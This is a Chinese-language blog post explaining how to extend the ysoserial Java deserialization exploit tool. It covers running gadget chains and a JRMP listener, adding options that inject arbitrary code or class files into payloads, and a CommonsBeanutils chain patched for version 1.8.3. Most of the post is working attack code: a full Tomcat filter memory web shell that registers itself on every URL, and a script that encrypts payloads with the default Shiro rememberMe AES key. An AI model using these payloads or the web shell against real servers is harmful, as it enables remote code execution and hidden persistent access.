ysoserial的使用 ysoserial 主要有两种运行方式
一种是利用 java -jar 运行主类函数,利用 gadget 生成反序列化 payload
java -jar ysoserial.jar CommonsCollections1 calc
另一种是利用 java -cp 来指定 exploit 包下的特定类来开启交互服务,执行远程攻击
例如:java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'calc'
高版本jdk指令如下。因为高版本对反射访问进行了严格的限制。需要明确地开放某些模块才能让 ysoserial 访问需要的类和成员。下面指令适用于java8高版本-java17
1 java.exe --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/sun.reflect.annotation=ALL-UNNAMED -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'calc' 
 
使 ysoserial 支持自定义代码 参考:
ysoserial 工具改造(一) – 天下大木头 (wjlshare.com) 
使ysoserial支持执行自定义代码 | 回忆飘如雪 (gv7.me) 
分析 先看看我们命令行指定的命令这个参数会在哪里被用到,首先ysoserial会从命令行获取两个参数
用cc2来调试一下
用Utils.getPayloadClass方法获取CommonsCollections2这个类,实例化之后调用其getObject方法来获取恶意类。并且将我们的命令作为参数传入
调用Gadgets.createTemplatesImpl方法创建恶意templates,命令作为参数。
可以看到我们的命令被拼接进Runtime的exec函数了。
实现 根据木头师傅的文章添加了四种方式
序号 
方式 
描述 
 
 
1 
“code:代码内容” 
代码量比较少时采用 
 
2 
“codebase64:代码内容base64编码” 
防止代码中存在但引号,双引号,&等字符与控制台命令冲突。 
 
3 
“codefile:代码文件路径” 
代码量比较多时采用 
 
4 
“classfile:class路径“ 
利用已生成好的 class 直接获取其字节码 
 
先将这一行代码注释掉
1 2 3 String  cmd  =  "java.lang.Runtime.getRuntime().exec(\""  +    command.replace("\\" , "\\\\" ).replace("\"" , "\\\"" ) +     "\");" ; 
 
将上面代码改为如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 String cmd; if  (command.startsWith("code:" )) {         cmd = command.substring(5 ); } else  if  (command.startsWith("codebase64:" )) {               byte [] decode = new  BASE64Decoder ().decodeBuffer(command.substring(11 ));     cmd = new  String (decode); } else  if  (command.startsWith("codefile:" )) {               String  codefile  =  command.substring(9 );     cmd = CommonUtils.getCodeFile(codefile); } else  if  (command.startsWith("classfile:" )) {                    String  classfile  =  command.substring(10 );     final  byte [] classBytes = CommonUtils.readClassByte(classfile);     Reflections.setFieldValue(templates, "_bytecodes" , new  byte [][]{classBytes});     Reflections.setFieldValue(templates, "_name" , "Pwnr" );     return  templates; } else  {               cmd = "java.lang.Runtime.getRuntime().exec(\""  +         command.replaceAll("\\\\" , "\\\\\\\\" ).replaceAll("\"" , "\\\"" ) +         "\");" ; } 
 
CommonUtils.java工具类代码如下,cmisl软件包用来管理自己额外添加的类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package  ysoserial.cmisl;import  java.nio.file.Files;import  java.nio.file.Paths;import  java.io.IOException;public  class  CommonUtils  {         public  static  String getCodeFile (String filePath)  throws  IOException {         return  new  String (Files.readAllBytes(Paths.get(filePath)));     }          public  static  byte [] readClassByte(String classFilePath) throws  IOException {         return  Files.readAllBytes(Paths.get(classFilePath));     } } 
 
测试 假如现在有一个反序列化漏洞,依赖是commons.collections3.2.1,我们要打回显内存马,可以指定参数为CommonsCollections3 classfile:xxx\Tomcat_Echo_Evil_Filter.class
Tomcat_Echo_Evil_Filter.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 import  com.sun.org.apache.xalan.internal.xsltc.DOM;import  com.sun.org.apache.xalan.internal.xsltc.TransletException;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import  com.sun.org.apache.xml.internal.serializer.SerializationHandler;import  java.lang.reflect.Constructor;import  java.lang.reflect.Field;import  java.util.Map;import  javax.servlet.DispatcherType;import  javax.servlet.Filter;import  javax.servlet.ServletContext;import  javax.servlet.ServletRequest;import  javax.servlet.ServletResponse;import  org.apache.catalina.Context;import  org.apache.catalina.core.ApplicationContext;import  org.apache.catalina.core.ApplicationFilterChain;import  org.apache.catalina.core.ApplicationFilterConfig;import  org.apache.catalina.core.StandardContext;import  org.apache.tomcat.util.descriptor.web.FilterDef;import  org.apache.tomcat.util.descriptor.web.FilterMap;public  class  Tomcat_Echo_Evil_Filter  extends  AbstractTranslet  {    public  Tomcat_Echo_Evil_Filter ()  {     }     public  void  transform (DOM document, SerializationHandler[] handlers)  throws  TransletException {     }     public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  throws  TransletException {     }     static  {         try  {             Field  WRAP_SAME_OBJECT_FIELD  =  Class.forName("org.apache.catalina.core.ApplicationDispatcher" ).getDeclaredField("WRAP_SAME_OBJECT" );             Field  lastServicedRequestField  =  ApplicationFilterChain.class.getDeclaredField("lastServicedRequest" );             Field  lastServicedResponseField  =  ApplicationFilterChain.class.getDeclaredField("lastServicedResponse" );             Field  modifiersField  =  Field.class.getDeclaredField("modifiers" );             modifiersField.setAccessible(true );             modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & -17 );             modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & -17 );             modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & -17 );             WRAP_SAME_OBJECT_FIELD.setAccessible(true );             lastServicedRequestField.setAccessible(true );             lastServicedResponseField.setAccessible(true );             if  (!WRAP_SAME_OBJECT_FIELD.getBoolean((Object)null )) {                 WRAP_SAME_OBJECT_FIELD.setBoolean((Object)null , true );             }             if  (lastServicedRequestField.get((Object)null ) == null ) {                 lastServicedRequestField.set((Object)null , new  ThreadLocal ());             }             if  (lastServicedResponseField.get((Object)null ) == null ) {                 lastServicedResponseField.set((Object)null , new  ThreadLocal ());             }             ServletRequest  servletRequest  =  null ;             ServletResponse  servletResponse  =  null ;             ThreadLocal threadLocal;             if  (lastServicedRequestField.get((Object)null ) != null ) {                 threadLocal = (ThreadLocal)lastServicedRequestField.get((Object)null );                 servletRequest = (ServletRequest)threadLocal.get();             }             if  (lastServicedResponseField.get((Object)null ) != null ) {                 threadLocal = (ThreadLocal)lastServicedResponseField.get((Object)null );                 servletResponse = (ServletResponse)threadLocal.get();             }             if  (servletRequest != null  && servletRequest.getServletContext() != null ) {                 ServletContext  servletContext  =  servletRequest.getServletContext();                 Field  appctx  =  servletContext.getClass().getDeclaredField("context" );                 appctx.setAccessible(true );                 ApplicationContext  applicationContext  =  (ApplicationContext)appctx.get(servletContext);                 Field  stdctx  =  applicationContext.getClass().getDeclaredField("context" );                 stdctx.setAccessible(true );                 StandardContext  standardContext  =  (StandardContext)stdctx.get(applicationContext);                 Field  filterConfigsField  =  standardContext.getClass().getDeclaredField("filterConfigs" );                 filterConfigsField.setAccessible(true );                 Map  filterConfigs  =  (Map)filterConfigsField.get(standardContext);                 String  filterName  =  "cmisl" ;                 if  (filterConfigs.get(filterName) == null ) {                     Filter  filter  =  new  Tomcat_Echo_Evil_Filter$EvilFilter ();                     FilterDef  filterDef  =  new  FilterDef ();                     filterDef.setFilterName(filterName);                     filterDef.setFilterClass(filter.getClass().getName());                     filterDef.setFilter(filter);                     standardContext.addFilterDef(filterDef);                     FilterMap  filterMap  =  new  FilterMap ();                     filterMap.setFilterName(filterName);                     filterMap.addURLPattern("/*" );                     filterMap.setDispatcher(DispatcherType.REQUEST.name());                     standardContext.addFilterMapBefore(filterMap);                     Constructor  constructor  =  ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);                     constructor.setAccessible(true );                     ApplicationFilterConfig  applicationFilterConfig  =  (ApplicationFilterConfig)constructor.newInstance(standardContext, filterDef);                     filterConfigs.put(filterName, applicationFilterConfig);                     servletResponse.setCharacterEncoding("utf-8" );                     servletResponse.setContentType("text/html;charset=utf-8" );                     servletResponse.getWriter().write("[+]filter型内存马注入成功<br>" );                     servletResponse.getWriter().write("[+]URL:http://localhost:8080/FilterMemoryShell_war_exploded/" );                 }             }         } catch  (Exception var19) {         }     } } 
 
将输出结果base64加密一下
serialVersionUID问题 不同版本依赖问题(serialVersionUID问题)  ysoserial 自带的cb链依赖版本是 1.9.2 ,但是我们shiro经常用到1.8.3版本的 commons-beanutils依赖 。由于版本不同,我们使用1.9.2的cb链payload,在存在1.8.3版本的 commons-beanutils依赖的漏洞环境中,由于serialVersionUID不同,反序列化会发生serialVersionUID报错,导致无法成功执行。
如果我们希望ysoserial工具既可以存在1.8.3版本的cb链,也存在1.9.2版本的cb链,就需要通过自定义的 classloader 来打破双亲委派机制,从而实现依赖隔离。
简单来说,Java中的类加载器(ClassLoader)通常会先让父类加载器加载类,这叫“双亲委派机制”。这种机制有时会导致依赖冲突,比如我们需要不同版本的库。为了避免每次修改依赖和重新打包,我们可以自定义一个类加载器,改变默认的类加载方式,让它优先加载特定版本的库,实现依赖隔离,从而纠正serialVersionUID问题。
javassist动态修改serialVersionUID 将StubTransletPayload替换成CmislTransletPayload
1 2 3 4 5 6 7 8 9 public  static  class  CmislTransletPayload  extends  AbstractTranslet {    public  void  transform (DOM document, SerializationHandler[] handlers)  throws  TransletException {     }     @Override      public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  throws  TransletException {     } } 
 
Gadgets#createTemplatesImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 public  static  <T> T createTemplatesImpl (final  String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)     throws  Exception {     final  T  templates  =  tplClass.newInstance();          ClassPool  pool  =  ClassPool.getDefault();     pool.insertClassPath(new  ClassClassPath (CmislTransletPayload.class));     pool.insertClassPath(new  ClassClassPath (abstTranslet));     final  CtClass  clazz  =  pool.get(CmislTransletPayload.class.getName());               String cmd;     if  (command.startsWith("code:" )) {                  cmd = command.substring(5 );     } else  if  (command.startsWith("codebase64:" )) {                           byte [] decode = new  BASE64Decoder ().decodeBuffer(command.substring(11 ));         cmd = new  String (decode);     } else  if  (command.startsWith("codefile:" )) {                           String  codefile  =  command.substring(9 );         cmd = CommonUtils.getCodeFile(codefile);     } else  if  (command.startsWith("classfile:" )) {                                    String  classfile  =  command.substring(10 );         final  byte [] classBytes = CommonUtils.readClassByte(classfile);         Reflections.setFieldValue(templates, "_bytecodes" , new  byte [][]{classBytes});         Reflections.setFieldValue(templates, "_name" , "Pwnr" );         return  templates;     } else  {                           cmd = "java.lang.Runtime.getRuntime().exec(\""  +             command.replaceAll("\\\\" , "\\\\\\\\" ).replaceAll("\"" , "\\\"" ) +             "\");" ;     }     clazz.makeClassInitializer().insertAfter(cmd);          clazz.setName("ysoserial.Cmisl"  + System.nanoTime());     CtClass  superC  =  pool.get(abstTranslet.getName());     clazz.setSuperclass(superC);     final  byte [] classBytes = clazz.toBytecode();          clazz.writeFile("payload" );          Reflections.setFieldValue(templates, "_bytecodes" , new  byte [][]{         classBytes, ClassFiles.classAsBytes(Foo.class)     });          Reflections.setFieldValue(templates, "_name" , "Pwnr" );     Reflections.setFieldValue(templates, "_tfactory" , transFactory.newInstance());     return  templates; } 
 
CommonsBeanutils1_183.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package  ysoserial.payloads;import  javassist.ClassPool;import  javassist.CtClass;import  javassist.CtField;import  javassist.NotFoundException;import  org.apache.commons.beanutils.BeanComparator;import  ysoserial.payloads.annotation.Authors;import  ysoserial.payloads.annotation.Dependencies;import  ysoserial.payloads.util.Gadgets;import  ysoserial.payloads.util.PayloadRunner;import  ysoserial.payloads.util.Reflections;import  java.math.BigInteger;import  java.util.Comparator;import  java.util.PriorityQueue;@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) @Authors({ Authors.FROHOFF,Authors.CMISL }) public  class  CommonsBeanutils1_183  extends  Object  implements  ObjectPayload <Object> {    public  Object getObject (String command)  throws  Exception {         final  Object  templates  =  Gadgets.createTemplatesImpl(command);                  ClassPool  POOL  =  ClassPool.getDefault();         CtClass  ctBeanComparator  =  POOL.get("org.apache.commons.beanutils.BeanComparator" );         try  {             CtField  ctSerialVersionUID  =  ctBeanComparator.getDeclaredField("serialVersionUID" );             ctBeanComparator.removeField(ctSerialVersionUID);         }catch  (NotFoundException e){}         ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;" ,ctBeanComparator));         final  Comparator  comparator  =  (Comparator)ctBeanComparator.toClass().newInstance();                  final  PriorityQueue<Object> queue = new  PriorityQueue <Object>(2 , (Comparator<? super  Object>)comparator);                  queue.add(new  BigInteger ("1" ));         queue.add(new  BigInteger ("1" ));                  Reflections.setFieldValue(comparator, "property" , "outputProperties" );                  final  Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue" );         queueArray[0 ] = templates;         queueArray[1 ] = templates;         return  queue;     }     public  static  void  main (final  String[] args)  throws  Exception {         PayloadRunner.run(CommonsBeanutils1_183.class, args);     } } 
 
使用了javassist技术动态修改serialVersionUID为我们需要的值。
加密脚本(因为加密脚本问题踩坑几个小时)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package  com.govuln.shiroattack;import  javassist.ClassPool;import  javassist.CtClass;import  org.apache.shiro.crypto.AesCipherService;import  org.apache.shiro.util.ByteSource;import  java.util.Base64;public  class  Client1  { public  static  void  main (String []args)  throws  Exception {      ClassPool  pool  =  ClassPool.getDefault();      CtClass  clazz  =  pool.get(com.govuln.shiroattack.Evil.class.getName());      clazz.writeFile("cmisl" );      byte [] payloads = new  CommonsBeanutils1Shiro ().getPayload(clazz.toBytecode());      byte [] test = Base64.getDecoder().decode("base64data" );      AesCipherService  aes  =  new  AesCipherService ();      byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" );      ByteSource  ciphertext  =  aes.encrypt(test, key);      System.out.printf(ciphertext.toString());  } }